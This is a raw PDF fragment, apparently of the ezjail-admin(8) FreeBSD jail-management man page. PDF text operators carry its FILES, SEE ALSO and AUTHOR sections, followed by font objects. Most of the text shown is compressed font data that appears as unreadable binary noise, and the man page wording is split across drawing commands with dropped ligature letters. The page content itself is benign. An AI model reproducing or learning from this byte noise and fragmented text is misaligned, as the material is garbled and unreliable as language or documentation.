3046(sourcedir)Tj
3047/TT6 1 Tf
30485.8465 0 TD
30490.1956 Tw
3050(instead of)Tj
3051/TT10 1 Tf
30524.5567 0 TD
30530 Tw
3054(/usr/src)Tj
3055/TT6 1 Tf
30564.8008 0 TD
3057[(.)-695.6(V)111(ariable:)]TJ
3058-35.1448 -1.2 TD
3059()Tj
3060/TT10 1 Tf
30610.4438 0 TD
3062($ezjail_sourcetree)Tj
3063/TT6 1 Tf
306410.8018 0 TD
3065(.)Tj
3066-11.2456 -1.8 TD
30670.0907 Tw
3068(In the)Tj
3069/TT3 1 Tf
30702.9027 0 TD
30710 Tw
3072<00e9>Tj
3073/TT4 1 Tf
30740.6001 0 TD
3075(U)Tj
3076/TT6 1 Tf
30771.2908 0 TD
30780.0907 Tw
3079[(case: P)15(ass this release tag to)]TJ
3080/TT10 1 Tf
308112.0263 0 TD
30820 Tw
3083(freebsd-update)Tj
3084/TT6 1 Tf
30858.4014 0 TD
30860.0908 Tw
3087[(\(8\) as the source OS v)15(ersion of the)]TJ
3088-25.2212 -1.2 TD
30890 Tw
3090(basejail.)Tj
3091-4.1 -1.8 TD
3092(See the)Tj
3093/TT4 1 Tf
30943.1655 0 TD
3095(install)Tj
3096/TT6 1 Tf
30974.4507 0 TD
3098(sub command to install the basejail from binary packages.)Tj
3099-7.6162 -1.8 TD
3100[(If the basejail is managed in its o)25(wn ZFS )]TJ
3101/TT11 1 Tf
310216.6112 0 TD
3103()Tj
3104/TT6 1 Tf
31050.5562 0 TD
3106(lesystem, a snapshot of that )Tj
3107/TT11 1 Tf
310811.2759 0 TD
3109()Tj
3110/TT6 1 Tf
31110.5562 0 TD
3112[(lesystem is tak)10(en )]TJ
3113/TT11 1 Tf
31147.072 0 TD
3115()Tj
3116/TT6 1 Tf
31170.5562 0 TD
3118(rst.)Tj
3119/TT2 1 Tf
3120-39.6276 -2.4 TD
3121(FILES)Tj
3122/TT10 1 Tf
31233 -1.2 TD
3124(EZJAIL_PREFIX/bin/ezjail-admin)Tj
3125T*
3126(EZJAIL_PREFIX/etc/rc.d/ezjail)Tj
3127T*
3128(EZJAIL_PREFIX/etc/ezjail.conf)Tj
3129T*
3130(EZJAIL_PREFIX/share/examples/ezjail/)Tj
3131T*
3132(EZJAIL_PREFIX/etc/ezjail/)Tj
3133/TT14 1 Tf
313415.0024 0 TD
3135<009b>Tj
3136/TT10 1 Tf
3137-15.0024 -1.2 TD
3138(/usr/etc/fstab.)Tj
3139/TT14 1 Tf
31409.0015 0 TD
3141<009b>Tj
3142/TT2 1 Tf
3143-12.0015 -2.4 TD
31440.1666 Tw
3145(SEE ALSO)Tj
3146/TT10 1 Tf
31473 -1.2 TD
31480 Tw
3149(ezjail)Tj
3150/TT6 1 Tf
31513.6006 0 TD
3152(\(7\),)Tj
3153/TT10 1 Tf
31541.666 0 TD
3155(ezjail.conf)Tj
3156/TT6 1 Tf
31576.6011 0 TD
3158(\(8\),)Tj
3159/TT10 1 Tf
31601.666 0 TD
3161(jail)Tj
3162/TT6 1 Tf
31632.4004 0 TD
3164(\(8\),)Tj
3165/TT10 1 Tf
31661.666 0 TD
3167(devfs)Tj
3168/TT6 1 Tf
31693.0005 0 TD
3170(\(5\),)Tj
3171/TT10 1 Tf
31721.666 0 TD
3173(fdescfs)Tj
3174/TT6 1 Tf
31754.2007 0 TD
3176(\(5\),)Tj
3177/TT10 1 Tf
31781.666 0 TD
3179(procfs)Tj
3180/TT6 1 Tf
31813.6006 0 TD
3182(\(5\),)Tj
3183/TT10 1 Tf
31841.666 0 TD
3185(portsnap)Tj
3186/TT6 1 Tf
31874.8008 0 TD
3188(\(8\).)Tj
3189-41.2007 -6 TD
319015.998 Tw
3191[(FreeBSD January)-250(15, )15998(2011)-19470(6)]TJ
3192ET
3193endstream
3194endobj
319528 0 obj
3196<<
3197/ProcSet [/PDF /Text ]
3198/Font <<
3199/TT2 4 0 R
3200/TT3 5 0 R
3201/TT4 6 0 R
3202/TT6 7 0 R
3203/TT8 8 0 R
3204/TT10 9 0 R
3205/TT11 10 0 R
3206/TT14 29 0 R
3207>>
3208/ExtGState <<
3209/GS1 12 0 R
3210>>
3211>>
3212endobj
321331 0 obj
3214<<
3215/Length 920
3216>>
3217stream
3218BT
3219/TT6 1 Tf
322010 0 0 10 72 744 Tm
32210 g
3222/GS1 gs
32230 Tc
3224-0.0834 Tw
3225[(EZJ)60(AIL-ADMIN \(8\))-8296.9(User)55(s)-250(Supplementary )-83.4(Documents)-8296.9(EZJ)60(AIL-ADMIN \(8\))]TJ
3226/TT2 1 Tf
32270 -4.8 TD
32280 Tw
3229[(A)50(UTHOR)]TJ
3230/TT6 1 Tf
32313 -1.2 TD
3232(Dirk Engling)Tj
3233/TT14 1 Tf
32345.4995 0 TD
3235<009d>Tj
3236/TT6 1 Tf
32370.3291 0 TD
3238[(erdgeist@erdgeist.or)18(g)]TJ
3239/TT14 1 Tf
32408.817 0 TD
3241<009c>Tj
3242/TT6 1 Tf
32430.3291 0 TD
3244(.)Tj
3245-14.9747 -1.8 TD
32460.0755 Tw
3247(The man page is based on a draft by JoeB)Tj
3248/TT14 1 Tf
324917.6944 0 TD
32500 Tw
3251<009d>Tj
3252/TT6 1 Tf
32530.3291 0 TD
3254[(joeb1@a1po)25(weruser)55(.com)]TJ
3255/TT14 1 Tf
325610.1431 0 TD
3257<009c>Tj
3258/TT6 1 Tf
32590.6545 0 TD
32600.0754 Tw
3261[(and w)10(as re)25(written by Frederic Perrin)]TJ
3262/TT14 1 Tf
3263-28.8211 -1.2 TD
32640 Tw
3265<009d>Tj
3266/TT6 1 Tf
32670.3291 0 TD
3268(frederic.perrin@resel.fr)Tj
3269/TT14 1 Tf
32709.4707 0 TD
3271<009c>Tj
3272/TT6 1 Tf
32730.3291 0 TD
3274(.)Tj
3275-13.1289 -61.2 TD
327615.998 Tw
3277[(FreeBSD January)-250(15, )15998(2011)-19470(7)]TJ
3278ET
3279endstream
3280endobj
328132 0 obj
3282<<
3283/ProcSet [/PDF /Text ]
3284/Font <<
3285/TT2 4 0 R
3286/TT6 7 0 R
3287/TT14 29 0 R
3288>>
3289/ExtGState <<
3290/GS1 12 0 R
3291>>
3292>>
3293endobj
329412 0 obj
3295<<
3296/Type /ExtGState
3297/SA false
3298/SM 0.02
3299/OP false
3300/op false
3301/OPM 1
3302/BG2 /Default
3303/UCR2 /Default
3304/HT /Default
3305/TR2 /Default
3306>>
3307endobj
330833 0 obj
3309<<
3310/Type /FontDescriptor
3311/Ascent 753
3312/CapHeight 562
3313/Descent -246
3314/Flags 262151
3315/FontBBox [-113 -250 749 801]
3316/FontName /JFEBGA+Courier-Bold
3317/ItalicAngle 0
3318/StemV 133
3319/XHeight 439
3320/StemH 84
3321/FontFile2 34 0 R
3322>>
3323endobj
332434 0 obj
3325<<
3326/Filter /FlateDecode
3327/Length 24054
3328/Length1 172192
3329>>
3330stream
3331HMlgJycҀI;8q^qINر$]v:i!@hHLHHLv@C8 !CHpBïҿ}cA|W'/.o=AX(}Ż]|_AՊռz׃ϼxvA𵚟oߺJ7}_{c~}Kσ+ܺx_+wG?uUky߉;?h?~|Ϳ x>\y +.\>qī~_ϣg{;c{{~ O0/_uT},A/<F5\( v<if>c8=ּgjםu^oϙ[;w}1ycOر8DZ_ߛ?85a\Wgy3n =hk7OCG;&t65V
3332B!?C!?a0?SS¦#?G#?GQ(?G1?c1?q8?q9q8O'I$x< O'I$y<I$O'ɓI$y<I$O'œIxR<)O'œIxfxfxfxfxfxfxfxfxfxfxfxfLϴLϴLϴLϴLϴL4?ßg3 ?ßq&#'#'#'#gNΜ99srə3'gΙ99sr9dy:-޲z-޲:_~9엳_~9엳_ONV~9Y߼7oyo~߼3r,Y gA΂9 r,Y` 佃w<y<O'ϓ佃wP
3333A;(wP
3334A;(x,mQoz[E`;XE̢3rrv+ڭS)꠨sE+עފz[ےޖ%gYےޖ%-ޖ,gYβޖe-mYoz[ۊVb?mEo+z[ۊV³ʳUmUoz[۪VU`Uo%V[Io%V/K%_/e2_/
3335_W+
3336_WU*_WUMMMMMMMMMMMMM_k5_ooooooooooooou:_u:*Ao7 o
3337o7M&o7Moiiiiiiiiٗ/g_ξ}gٗ/g_ξ}9r9s @z>|=蹭綞zn빭綞zn빭綞zn빭玞;z蹣玞;z蹣玞;z蹣玞|C=PχGGGGGGGGGGGG1118???????w].w]. {=}>}>??C!?C!?G#?G#99999999..ɪ*9 s<t场rB]s^Q
3338H$%dkM٫{s_{.K/ῄ1c? 1c?8q?8q'O? 'O?$I'O?$I'O?
3339)SO?
3340iO?4iO? 3g? 3g?,Yg?9s?9sGu!<y<y? /_)SO">E|)SħO">E|)S§O >%|J)O PƧO2>e|)SƧO2>|*TSSO
3341Ya?+gU~V*Ye?gUW_ÿ 5k_ÿ /㿌2/㿌2/㿌2u_ǿ:u_ǿ 7o 7o$O<M4$O<M4$O<M"EyZiEyZiEyZiMԹMԹMԹMԹMԹMԹC;ԹC;ԹC;ԹC;ԹC;ԹCL<֥n]j%K.꒫Szw풯xuy}꒳G=b{GꑷG=c{>9cS>uS>uS>9ԥze@] 7`:`2.9.eqg4dC!~C!Ӑiې!q#Fo#zD܈7b#{D9GsĞuoxL11fcbĎVwLmfB 8qB]&e~LXNP 1!vB5OϔomJ]L;%)SO?%~J)7nM7Us 넭vm~a ;X!vÅ!HaG ;Z1Žvㅝ Da' ;Y)NvӅ!Lag (la;Wyv mv]"Ra \6 RU®vk]'za[ lIXLX\XBXRXJXZXFXVXNX^XAXQXIXYXEXUXMز}@LυRد)>a {LأgaO=#ia
3342{N ž
3343K?&Ua {c-z~\'}FrX-aͳu>+_U*lWWfyUobGbw\Nʢתּ8O
3344{E؏}LYUk4s{~A2
3345Z*^YHH
3346MؾWol^Ŷle~#no܃+/^.{aQ "koϱ{ho
3347DoJmnv [=8"p=$>2bėe$oGa)d @>-^& o
3348]d}Wׄ}]@؏L"/L΃@AJI;G{,lAAT6¶텽Kػ lGargrg C؞  ;;X&w\~5cy
3349 L a ;Dءv+8a˙~;q5cYY֌O_3>Cbv&}XpkJ&a Te.v®vk]f|Aؒ0yEa%aeaaUa5ašZ:ºz†&¦nH3g"r,|rEgJ!*=CTz>Q}GDgJ)*RTɲ;:г~w<;|=.g [+9ٜx~γ9fsn^g6C+9fs>2we-ʷ(ʢ7YgŽv[&vaww_p-a
3350O= Aa {XUG=*1a {Bؓžg=+9a {AK^W&uao{S[ޖ-0yDNȝJD΃9"rDM9JŽ&o}"/γm 77n77&B(B(B0!BBB(LzPpa
3351M0/C/CC/}'LC &}Y(}Yx &=M(}m(}m(}wxSIJ!Lag (la;Wy¤g/&=px]"Ra \6 RU®vk(QE –ńŅ%%::8~{BJ+[. A "iXj\"@0#؈Z!D)]m+P@[TPѦX[ s>3g}u93 sY8l ؍`cJƁ++
33529FC֐5w544܇4~ _
33535v X`}jk`_:7F V
33546l<XX9`*&M
3355V6 l: `n{+0
3356̽3+fWU 3̕s@!2@> 0!@+JR ̕ r,'0
3357̟R<̩YJ`&IfR3L*/L*2N 5&@^]`;`qf\W`FM`{ m߃v; `k`G dy,_>ko``'>6s@7M>{@7 {@7M`:u+
33586 f53 `_6K`]6 J`W}l̰fX3 k\k`50k7mF 6F``ƃM
33590\*sO f0Z !xK^+ jȠɋǟ<
3360qz6enwpn=֓קZVQ5A- Yn,vEnWv=nyqnWvn{'sݮ&}n~nQ0 3vR"%5zMj:EJ$*-Ys$Guzu|n:Ectnbik՛joIm1٪b<Wp3<
3361ԡL(3VNWMU5Ԫj3>ZUjh;Msz2G%kdw K@-ITϴAj%|UbWzSJWZ3S_ѵaD5j,W+.JS[tN<~GV*ζJW pUG>{}/! ~KDېRK
3362!b4lk!HjiL6b̠ өd̨h5EQhU?[
3363!owϾwse{9=i 5s]ZzhͺA+MqBi
3364;t\blzFI-VH|kh=4Q-T:/ռ'kD bX]U_<B!NZoV8c%
3365D/,oߩjFAۣҏzN&_(VR0N (qS{AjEcqBQZLN.׀rU9T,T.iŚu*2u+֬Tz ek,*%H~m3H"?=.}F+}NY%?[i&ƥ6Ra〪T%pFF_z|>Bg/df-,I=!csA ndmx^?u@~xЏ}
3366]sƏ^͚Sܑ[hw&V;lt=[uUjl0tKSu|]Q'czudzN}C{w
3367U|sś(
3368<~`` 6URI{n]oCz XGnfN3w䱅I3v҃:;k:B|[s7C#5\K[2wsAS6H¸aMfvl CV܋=H `^ us`g9a8b4b -
3369 va P[1h
3370͠TZFʑh RryyL#oa|CO(\9Z(:rV'D)lsilM, ST ȃD pϪ1s^S?F[h3@M@sns.:9;Ӵ
3371
3372X ? QT>C6GQF]"."b 7'Aq4\+xTxt7#m77(Y5ԥxإK
3373تn;_wZJմj:.ϛF!b26/6R-,c+9mx[ގ2 c:ʹs.2vs7Bt 1=<lu OyxYW΃>32i7r
33741fƱAq63`#}JMĘ"ae5S!3ld;Faαuy|>_@Ŗ2>1.|.qZCr_!σb+#aĮ*-E=*5|-?ׅsAim|$!fk;{' o.Q$ w12IJX3FbJ(*]{:U2NyʳxqLntED2b)Tb1݌QdJ{-1EI*OUtutM_aNH\&83n<$S-$3Q"+3YlC%+U[Kf*OBb:`%^rr+~iKVVAC
3375eU3U#Y.j(_e5HV5LISYmg`զ%#'6 6$6"66#U٬s%+ʳ(Kp}RX兲YOX:fĖV6ĶfHlbV[굅YZ)~^ocX[7ISgX{h;T{+ZɎә؅ؕ؍؝ÌQ%
33768$ѯ㫠g1Aw1ނ}'ECh<hX R\ ϡq|*p|qO4U8weQWFM:
3377?\t ֪Z/{6m͢"}
33781U%;6mڢ#}
3379ӘTSeEL6.ӌTkbb[b;b{bbGbupڴicL C2PE<9Mt-2mKj UB[dLWmJ "5*-2D6Q%CKG/cD@j"qq2q
3380ז+UMH"-c*3%#'. >@\H\D\L|0(ȵ$t-2mY&5'*MM_7
3381#+I=J\C\{K6mw
3382uLhwm]I|4qq:8mڴ1&z-!|[}("H$>t-2meL73Q{ycaioB?<b̽@B
3383!4RB.]@I^D؁ETA^IEE,wvr߼]wl{~d{f?V]F2fX&Sx0U7#ܔ6夺MfT6]9΂q' Uγ0VW܎+(Q9VN*MHai<KS*Ym妺Ņ83qr[n+7MJ]^RWlʆ)q .Ƶtu
3384;sF:T 
3385TjPj3PZԦ:PA}h
3386͠k-<ppw;BP !|toOǿyB2O
33875[0ކ0 &Sf
3388Li4πw]}{fp||`Z\ba=btǙ=\By :^d XO6)|F륜(jWP|AT+
3389VjZX)6fV&6N
3390HGqkO1bTo 5Ɖ8 '(3wi~rƉC:iгÎ3 zPs9Q,j~L\H1_ .էQ,\ev)[~++)V_S|E8Zz܀qn܊p; ^Þ]<gXg>9^ g</r|jvLwOI<ų)viAy"pl_B]AW l79f9odM%ۍCoλ=q|ϠvP?͖4N
3391t@B*.鑠͙4y =4p=O2 P34oӠP5jc=&s k4.>?EkP}=4ӠjbjEMz B>QЮ4Sg6jZ)D/DQqf"iMQǁ43vL_ 5=H_i>JV ":#B 0^_dL[] R>ҺcA 2D̊WF`A"TRD)VPO/1QEc41;j4+y쾷]dvVwϽyΛyݼNFw)jlqlݘM*jEV_J;ZjwiOk>+j_J/;s]jF'0?eJ# o@Dҽ[:F8y>h\T=v2¥z*6#/VՄ𫜿JuuU.naO Z #LZ4,(B*G<'0ah+=4}
3392#hƢDR?20" cIw0-[7d. U3|Y0 j:$Y>N_0vD [ I\3S #,Sz.{*{$Ps3vJQ\[Eԩy|<p]K&c]5gp߾{Mn4q^F!uFAp/'[ #lZ(RnJ k+&=P,$F)|J<m*F`)F
3393WPqɥHՓi'#\J=盛h1RJmUMo~ww_8s]]s # >-/v~^+&=PjȆU4gfǘO+{h=vFVvB)ӥneԾaĘFn2>KZT.N$F^ȳZ`^Ůy`pY0 j:$Ƀ|za [0A]U2jwd;a>I[;;DIXG%fl픢L}S1P*myVqHK&cD5˧rF$8g-p׹0Z0
3394R̳GYMda 㜡<m2l˴]
3395.$XogL$."w;/rY\W1|| |L2E,ab`?/ Y)| >eËٙKk99<gwf"Wr.orW, IHHTI;=pt#v K<^/x{YLἕjy[Vñǥ#d\Sy_*|!=cp@-K9BUr8C9xm<An_9ؽ2HPe/'ȉ2N[Lr5'<kdL8p6`#Ǚ8IƗ̗
3396_Z:c[L]\/YRVIV\vޔWvb{#܎+>Ư'"\#w [Eg!oF> }-Ĺ's$\JR=bO̐<e[^:cfb6P0k5򎬖GbOȮ;kk9O}]yGqj|)Ǟ$9LX#H<88 8y;MR+(c@O!2LFpr2>,Ƈ/KTNrIr
3397O2IBg/GOZhc;U{zxHv׵}+8?ʒfmg`ffݰDF 'g^UWO>͟{$st_=_՞OlVc]gƉI>Z l\?f77=q//~Η~o:m@-3TbKՖŖT@L5@qv7``'`&1>4Hl֯U7zM>uIWmwBgl5+wж#v]ұ[ڮͼ~7{x=7}fgz'f`=985or$jxߍ@GoL;o3G\8dqldq[>1|(1oh<W}fmSpoyU}mӖbs5ZT/*tLcګcQ2; uU*=T9aoUUCk[l]խP!ӹ߯BC#6džeF#ϥ6FfFjs"1Q٘Ѧ(-y^M&D]a;)'rr95N@dIslNOgkr"gFSSѳ#ϫ)vN蹑;gW.(va<q 2S|y6'otny5Xyv-U`mAK<Apy9+#ϩvUNmW7?,zGȵ~_Yns"7jw)y~q 2lܖx@mg<(8~7󶰰omaTR.1cC1D(&y5DO0.wV^"?X{<!9{o}3oo^Z^h㝆lF9]>:lu}EcxwxᄠĠI4NC}J6cS.{Cǝ ȡ̅g ȅ3}p}܏ ^@ 4 Um/t; /V9W$\""UA5%\x~kᆠF7 7U8W$5-zߞCݑ [ݕ g~p"}pcr~?
3398 ^a00QXJXZ$,#,+,'LVVVVVVVV 
3399  >*|L0UTL\BIaKa+akaa[a;a{SBEb#,:Wd$Σ<u[</<#<t^ BaOQy1)K[g2wQeRPY::aXTVEw],5ð}Kz0Lԣ)YާJ oDI:ob] ;4 qySJys\@UyK\@: +ѶaXY*:`<m<c]u;j95uZɺv<yg TO/Lѕlוq+P>.X]qOy7zDݭ{b=1 )Uo'oߡf: X Q IRW޳JW>6:lO;BtqlW|J=A{15-Oi9ϠQ 1ЉA'a{/CCغ+P#c^bk:t }9"$6eM>^_v(X7UVl'5S[֯qXmp84q
34007#n>g>ʇ#/bP=KoBӡoA'A߁NGC@@BӠàCp?CC
3401P/Ao;
3402ߓw=>* MNQ<w:g3砸 ZE?PUбPx>J>* ^lNC_>*7,k%V`kV\kV{\bTu5\3}z}ZmzF}o5\{#kֿDߡnkAI`gRK_5rg\s- IkfR]!1Z|hhhNkA-ȝ\s͵P3؎4Y9/
3403:
3404S`gį/ ~x[K!^F
3405WDtAUg7==ɝ\s p-[3kΘ;;<fR3;w˵4\<#wvpsg<4@2V͍<ns1<(zMy1 U?7JSÍa6Wԇ^Jcy$*WҪꢺ;T_S>s6Wjb6W9ۜzKz\>'84KUUNU*EWUsjkS &_<*FŪꪆjmcOq8m5N'cqʸd\0qѸnn2nWqufִ"b FM̱i1J_߻= Meܗ3#1/=#cќB iat?m=u1~ʈDK_ne%3ymfXkf~" 3q7Γ5C?S1ੀ]@=z>c&G4SSSS>TTTf4FHOMMch,4&$LSh*MqfzjyjlCsiͧbZBK)eVJZEi }Ekiԡ 6fB[imvnC{io
3406@$A,ڡ=:#:3+;= }OYJ*13 U.2\Hhec11ż\frSLTLf+Yya>`!a1`))gZk$b3`+a;v`'va7`/a? 0(8N$N4,<.".2*:n3_n+|o->/~
3407$y2[vL2aI: )i Seʐ\Ųt Ҩ\JISWh2 4S|*3н{eLBك樣׼LelϔodPڪORxOD֞!$G?)[Id*eV/6TfsU&zlgjR4U<t]=TZU]#0VՒ[Tա|JMy=Gm{ʵ2M}/ǴBm5ڜ;oRVFDt{Caθa~l ڌ+l.^T竣.X}iuyYe5/S)sʢOZ'͏s)-c6T~߫Cz:N;~(孽oCצ}|0U>y[L9m/t;|a [lI;t<Qٸ'->'W|-M)oh5eT\gո֭Xkk1\mJWUSmyV.ܖ.z2"Zh8ߣ<9vsN̴oi6]&B-2^*N5yGoGړ'mD7RDfT6L7<c-zhM>iQ#3pP7vxiClO[ ;"i3zƙZkTwy [T;۩X;Z[hm\ylf"\fҵ1Ok[+@Gii ~VYq|fm9ۍn- --mX4QDZRjvcJMKO` 441Po>o9ssLWRIC銭Zq+K4KR5ޮFVw][tGy45u53RS!uWQW8ToQ1 ڳ~T34{K33ʼ2T=Du t ͦ.["]Bs@{F._G׍yڒK9էl,SϤ4-uw!C[=]em S>) L>R]P矬<WHg2M撨_dzyEs.{a]_GܧcՐ1CL+WwOSxKtAou/Z_}" YD,|f. /J
34086o '[d7as]
34093cf?9
3410}#qCD82|c Y^ċ";.CWëy5F^k#軞ףuo@A^V' s?l6l.Gxx|8c5(3|}Y*$O-|[| w6& dŸ
3411Iɒ`JHBI% NTp%!Lϓy,gK68Gr Γ<pD"|G%
3412.p<_PwK{pTJZ&er)GkL+eJR eԂ\/i
3413b]i[40Hb\ o шQViRтήhi9QѲ455ʚ ?%.qK\B@}pˡVmrb'BCP؁c3xc?|w[7s*NZNEmTN4@;hfW OwA?
3414endstream
3415endobj
341635 0 obj
3417<<
3418/Type /FontDescriptor
3419/Ascent 750
3420/CapHeight 676
3421/Descent -250
3422/Flags 262178
3423/FontBBox [-168 -218 1000 935]
3424/FontName /Times-Bold
3425/ItalicAngle 0
3426/StemV 133
3427/XHeight 461
3428/StemH 139
3429>>
3430endobj
343136 0 obj
3432<<
3433/Type /FontDescriptor
3434/Ascent 753
3435/CapHeight 562
3436/Descent -246
3437/Flags 262179
3438/FontBBox [-113 -250 749 801]
3439/FontName /JFEBGM+Courier-Bold
3440/ItalicAngle 0
3441/StemV 133
3442/XHeight 439
3443/StemH 84
3444/FontFile2 37 0 R
3445>>
3446endobj
344737 0 obj
3448<<
3449/Filter /FlateDecode
3450/Length 30827
3451/Length1 181696
3452>>
3453stream
3454HMhgۂh7&d^2$L2/Ld2d2)
3455. (+T틨H
3456{"Z`
3457ࡈ~0<>  :9ؓO# b{࿃K;_݃_C\^e/`ܻ͛^ xSyx3>מ?^<ߺq׿mW_[~]W}ߺsy>_Z?{ѹ~~z` ȋw_</{>z??wGswno}?z+S{2x7z_<H0{T7R
3458{]WGM, e}]w vfؙ y3F<i䏸sy|+F6jQњ}`˨}ümb k6z3[Fnw}uy<4 1E 888888888888 ?C!?a0?a0?G#?GQ(?GQ(?c1?xb<q8O'y<q8O'ΓI$x< O'I$xr<I$O'ɓI$y<I$O'ɓv3>S3>S3>S3>S3>S3>S)4?͟Oi4ڙY9rfʙ3+gVάYgfʙ3L'Ó 2z-2z:\~Ye헵_~Ye헵_~Yu?YYYeeo~sߜ7g9o~sə3/g^μy9r˙3/g^μ潃wrA;xr<9O'Ǔrw,x :X`;X`;Xz-wA;{y ~))ح`O
3459+8Wp^ z+mQoz[ۢYtfQoz[ۢ7Kz[ے%9Kz[ےޖ%-mIoz[۲ݖ{Ze-mYoz[2
3460ϊVmEo+z[ۊVtV[QoEV[_/EUUUUUUUUUUUU5555555555555_/K%_/e2_/e2_W+
3461_W+U*_WU*ʿοοοοοοοοοοοο_k5_k5 :_u:_oooooooooooo[%o7 o7 &o7M&o[-˙3m9m9m9m9m9m9m9rvٕ+gWϻzw]=깣玞;z蹣玞;z蹣玞;z蹣==yO{z==yO{z}=y78???CCCCCCCC.w].{={= }>OOOOOOOOOOOOO??˳K
3462@@£f`$眇<!3BWUWιPG9G%)I **ZSj^-o q?8q? 'O? 'O?$I'O?)SO?
3463)SOῈ"/⿈"/⿈"/?4iO?4i3g? 3g?,Yg?,Yg?9s?K/ῄK/ῄK/ῄ.??<y/_ /_@>|
3464)SħO">E|)SħOe|Yge|Yge|ɳ2>,cO >%|J)S§O >%|)SƧO?TƧO2>e~
3465Ya?+g~V
3466Ya?+W_ſ*UW_ſ*Uk_ÿ 5k_ÿ:u_ǿ:u7o 7o&MbiI&yiI&yiIyZĴ"O<-"O<-"O<ms:s:s:s:s:s:ws:ws:ws:ws:ws:w鐧ںԭKu%W\]ruqR.]uYc.5O]r#GlW=#Gy{o'g>u>}ҧ.}ҧ.}'gYo ˀuZu@]e:e〺 X5Y<C q4o4{= q7$nD܈\#m^QFq~7"u㘺q ;f?ƬuL1~c1ʘc͘L;a'8N˄L؏ P j3a?&N)M)y?%~J)SO?%ޞ { a3jNlnNNza;Pav"Pa ;\Žv#Xa ;^ Nv"Ta ;]vvs'|aP&a X%.v˅]!l+]%jaVu®v-’Ree- ++
3467[VVVVVV666666v _
3468;'aa {T, ag=-Ya {A^Waa ׄ*uao̳J_μHDž}Bg$/ <[g9!~!Uun+[b;}uk6/fOw}s;z*vVE}oUY~R+~,c¾8ςZ˦;$ ¾/ߕy|TVaʚG
3469G*l7a
3470O^^Uͳ5{a+q{[<I{!&a=ٛ¬6?[avۅ!wvϪ=le~.%Aa {@yF䬌X/ew05GQEw
3471={2@ o@O ›$y~a5a_Ca?#9Ba _&wRNa^a; [&ge gemm'l{ana;Q|kܙܙ0G#}b ֯f,o@aI$`a;TaŽvc'x9Oy'f,=K =KpښkgH̙Qع¤ _3`B$"a
3472L®Yؕ®v֌_3Ab KK
3473K [&o (lYXIXYXEXUXMX]XCXSXKX[XGXWXOX_@PXDT؍r={&"LDOγ Q3DgJ'*OT Q7E^ʽ=Yc'Wzϳngvg<^l}faOie<?'2Zy6g2sl+9|he<?gl·W̳|+1Vbcd& ;B nvۅ!L}v{+>a =$aaV DŽ=. aO
3474{Jž=/a/ {Y+^ׅ!Mao {[P;!"wBD*9"rD<y7M(aG ;F}"8϶3 ! V ¤^^^w0!B#]*l7a C؞¤ > 0 7 ['LP@aɹʹʹʹʹʹʹʹʹʹʹʹʹʹ/LzPPPa
3475;;<CؙQvIoJ^(Lz"a Dإ.v+mv]=<9)M2Y$"@B+7 $ Qn1r-""VQlj/X(-Z*PѦr 9Oݳ>OۿLdw'9`FA7
3476ׂ]v= `76lp XƁ
34776l-`n+6lm``6lLY`*v\6lBE`-l `K
3478GV=)u`O= w
34793796`;v6n=`{~ v
3480V6 l: `fU n+{z@Y@
3481tW +z@A Y$tHl!#z@OWF0%]N
3482O{ z@T`I:T d8y r@kyM 5&]`;
3483t\+q:dv4-]~`>!>X؟>; Y^ ec`1X#'``;Y|o ߛ\0|o |o ߛv`:uu`X
3484vؕ`:kÚ`k Z@5k `76lh1`cnV 6lX X)DI`M ~iCΠ3+B ׃B ?B[!B= BnwA!g{` BF!C!dw;B!{ xy<B~
3485L KA-ZeA~ ?\0l![63]vX70ȭrj!ڳ 2k!Zȼ2k/|k!Zȷ
3486vX`wM6llJ0v]`sl|0v!"{~`OAk[4t ><M`i,t"L SF)#ȏdb0\o\e2Y V*A DA>>>+============*}>}966666}4 & ~?3 z#X  kUl`ٞ]b<aSg5޼՛ys76u9W)Z˦;KVü)淼7Gjo;F=Wd~j6iY{kf!7h}5̮u2^-R2M`r#pO^%W
3487UYոy;Ɲ:w~_us7y;ͳy稫[{<<j<79弸SRy:wKS_Ο癦_.t!8Gc;lwJw\ܱ_smxO|O5EUn,Vg[=Uup[=twAz48˭gUmӭ^qmA敞VUn5/V >n(V~+3ruK(VoSWZjPZjT,Rt_]5}&BQZb> Q9:;1д5'ѠKl7}]昡fyL婃*Qb-z^jVjG|e4Uw+f zUJ JȮJZ[:m"5VOԫL^^WjMI. ^ {k(N}rXWǯg"U֩u,qT%TϿد઎*|^B
34885ODېRK
3489!# RRʯ#jia02L"QKG}Ubl&(\= yݳs={~(v [Io}HMmڛvݠ Z1eB+nօ[c$O(@84j+(BQգTIc"!Y%Z} N낯??BA3DS輨Qⓒk
3490R-*Ëb56W}
3491-2:ieJY-s⌕+; : `N 7Pu~&.;|yY!L/hpN'OaſWƊ: =Gii(5mC;^ȫө|cn֭Lp._Bq5H\1Xz!ΐ#
34929UB7gdĶD뮟f0 DVPh
3493Lp]=
3494h&P_~Etko|$s5uk]uZ~b}o;s}U@;AmW\p^22n.=yL x>FOǝŋ]жzSW4&csc5g]9iv_Z.jb3]qw׳Y]Q{rCj)ݥ1Ǘ5~2yGY:~<{[g1w牭Q[gQWL,tCfz= ʁl^u.ҿ9d7ތKqf49[M*qaMdNmUùnaWK.,d=5?w??'_yʵT%sϳ<4o35/kVL`FǶxrTފ{d:, Q ryR='3"ܛP>y]gF?ҁk6՚g#!v o Cʭ<mrjͫXN-:ں}Yka]zYwYώWA鬣u
3495ƾG|+={jg{l+\ s{'׺B~.} w6qn쥑ھ.ׂ[Еz;.2Tw;ISu?kǞղgjx> t]Vxm
3496"` o^vvfw{ݏWv뮮 㿯NAz_<g~v> ڈ͌≮9w[zcb~V[yDHN e#Sa>m)9?K9C/qoWl˖2"?
3497y}<}mfo3bZl)91Ì{L#F͇bq\g͌Bz'xR0J=9 fJXlMwƜcFHLgζqNs-EDnc
3498R{8%~إ2.
3499[?߼W?7VHx+-E
3500#jKQyg59à>Xf2Ә5͙So),dF2fAJG(M唎JWNQ2{ICJWSLb&3Sfn:%*eI*>W2YyS5)U8G.H&ކ83nB^dRmVȋU f&3a22UH+OBb:`5Y߃M9J$*`BY]Ō,bRuqTeMYYȉXaLuFuV[ـِو٘لԌTPI6TgQ6V{T兲YOX3>̖VۘmmxBRŬWyYO)~`cқ%+ԁe{>ڎ&⊖ ̲tavevcvg`4cww;@gn*9ʳw_丹J^J]%If_SWC0gُo7h 3HKf {ss(ss8ss$ss4s]yPU10
35011ȉ>2Ko64!"c4 8B[C>iТ 4.QRN\ Ϡq~"p~qOY4U8(woQFM}>8 Z*y"D.D(8QcF%FY}4ThѨ11<~ *|5~48kb \ m'>Sǯ6C~U߀k|‡(懰wwȷ ۛQ+b
